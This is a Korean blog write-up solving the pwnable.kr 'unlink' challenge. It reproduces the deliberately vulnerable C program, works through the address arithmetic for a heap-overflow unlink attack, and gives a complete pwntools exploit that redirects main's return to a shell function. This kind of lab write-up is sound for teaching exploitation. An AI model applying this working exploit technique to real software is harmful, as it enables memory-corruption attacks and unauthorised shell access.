[pwnable.kr] Toddler’s Bottle – unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
#include <stdio.h> #include <stdlib.h> #include <string.h>
typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8]; }OBJ;
void shell(){ system("/bin/sh"); }
void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; }
int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B;
printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf);
// exploit this unlink! unlink(B); return 0; } |
자체적으로 이중 연결 리스트와 unlink를 구현해 놓은 코드입니다.
구조를 그렸습니다. prev_size와 size는 생략했습니다. (글씨가 잘려서 B가 R처럼 보이는 점 죄송합니다.)
unlink 함수에 B를 인자로 주게 되면,
B->fd->bk = B->bk
B->bk->fd = B->fd
를 수행하게 됩니다.
구조를 생각해서 다시 써보겠습니다.
B->fd+4 = B->bk
B->bk = B->fd
더 나아가서 A의 buf에 gets로 입력을 검증없이 받기 때문에 overflow가 일어날 수 있고,
B->변조1+4 = B->변조2
B->변조2 = B->변조1
가 됩니다. 즉, 원하는 곳의 메모리를 변조시킬 수 있다는 말이죠.
그리고 바이너리에서 leak을 해주기 때문에 가져와서 사용하면 됩니다.
아무 메모리나 변조가 가능하다고 가정하고, main의 마지막 ret 부분을 보겠습니다.
명령들을 수행하고 나서 ret을 하는데 return address를 계산해보면, *(*(ebp-4)-4)이 됩니다.
*(*(ebp-4)-4) : shell 이 되도록 하려면 A의 buf에다가 shell 함수의 주소를 넣어주고, *(ebp-4)-4가 A의 buf를 가리키게 하면 됩니다.
A의 buf는 leak된 a_heap_add + 8이므로
*(ebp-4)-4 : a_heap_add + 8 //a->buf 이 되고, 양변에 4를 더해주면
*(ebp-4) : a_heap_add + 12 //a->buf 이렇게 됩니다.
그리고 ebp – a_stack_add = 0x14(20)입니다.
ebp–4 = a_stack_add + 0x10(16)입니다.
B의 fd+4에 ebp-4를 넣고 bk에 A의 buf를 넣어준다는 생각으로 계산해보면,
b->fd+4 = ebp-4
b->fd+4 = a_stack_add + 16
b->fd = a_stack_add + 12
fd는 이렇게 나옵니다.
*(ebp-4)-4 = a_heap_add + 8
*(ebp-4) = a_heap_add + 12 위에서 설명한 부분
b->bk = *(ebp-4)
b->bk = a_heap_add + 12
bk는 이렇게 나옵니다.
a의 buf에는 shell 함수의 주소가 있어야겠죠?
이 정보를 가지고 ex 코드를 짜보겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
from pwn import *
s = process('/home/unlink/unlink') e = ELF('/home/unlink/unlink')
shell = 0x80484eb
s.recvuntil('here is stack address leak: ') a_stack_add = int(s.recv(10), 0)
s.recvuntil('here is heap address leak: ') a_heap_add = int(s.recv(9), 0)
payload = p32(shell) payload += 'BUFF' + 'PREV' + 'SIZE' payload += p32(a_stack_add + 0xc) #aim to ebp-4 payload += p32(a_heap_add + 0xc) #aim to a->buf
s.sendline(payload)
s.interactive() |
flag가 출력됩니다.
주소 계산 때문에 식을 좀 많이 썼네요..
'System&Write up > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] Rookiss - fsb (0) | 2018.05.25 |
---|---|
[pwnable.kr] Rookiss - echo1 (0) | 2018.04.01 |
[pwnable.kr] Toddler's Bottle - memcpy (0) | 2018.02.27 |
[pwnable.kr] Toddler's Bottle - asm (0) | 2018.01.31 |
[pwnable.kr] Toddler's Bottle - uaf (0) | 2018.01.31 |